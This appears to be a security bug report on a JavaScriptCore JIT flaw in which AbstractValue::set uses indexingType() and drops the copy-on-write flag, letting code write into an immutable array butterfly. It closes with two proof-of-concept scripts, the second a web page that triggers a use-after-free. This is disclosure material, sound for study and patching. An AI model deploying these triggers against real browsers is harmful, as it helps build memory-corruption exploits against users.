<!--
void AbstractValue::set(Graph& graph, RegisteredStructure structure)
{
    RELEASE_ASSERT(structure);
    
    m_structure = structure;

    m_arrayModes = asArrayModes(structure->indexingType());
    m_type = speculationFromStructure(structure.get());
    m_value = JSValue();
    
    checkConsistency();
    assertIsRegistered(graph);
}

It works out m_arrayModes using structure->indexingType() instead of structure->indexingMode(). As structure->indexingType() masks out the CopyOnWrite flag, which indicates that the butterfly of the array is immutable, needing copy-on-write, the wrong information about the array can be propagated. As a result, it's able to write into the immutable butterfly (JSImmutableButterfly) of a CoW array. And this can lead to UaF as 
writing into an immutable butterfly can be used to bypass write barriers.

I also noticed that the most calls to asArrayModes are using structure->indexingType(). I think that those should be fixed too.

PoC:
-->

// ./jsc --useConcurrentJIT=false ~/test.js

function set(arr, value) {
    arr[0] = value;
}

function getImmutableArrayOrSet(get, value) {
    let arr = [1];
    if (get)
        return arr;

    set(arr, value);  // This inlinee is for having checkArray not take the paths using the structure comparison.
    set({}, 1);
}

function main() {
    getImmutableArrayOrSet(true);

    for (let i = 0; i < 100; i++) {
        getImmutableArrayOrSet(false, {});
    }

    let arr = getImmutableArrayOrSet(true);
    print(arr[0] === 1);
}

main();

PoC 2 (UaF):
<script>

function sleep(ms) {
    let s = new Date();
    while (new Date() - s < ms) {

    }
}

function mark() {
    for (let i = 0; i < 40; i++) {
        new ArrayBuffer(1024 * 1024 * 1);
    }
}

function set(arr, value) {
    arr[0] = value;
}

function getImmutableArrayOrSet(get, value) {
    let arr = [1];
    if (get)
        return arr;

    set(arr, value);
    set({}, 1);
}

function main() {
    getImmutableArrayOrSet(true);

    for (let i = 0; i < 10000; i++)
        getImmutableArrayOrSet(false, {});

    sleep(500);

    let arr = getImmutableArrayOrSet(true);

    mark();
    getImmutableArrayOrSet(false, []);
    mark();

    setTimeout(() => {
        try {
            alert(arr[0]);
        } catch (e) {
            alert(e);
        }
    }, 200);
}

main();

</script>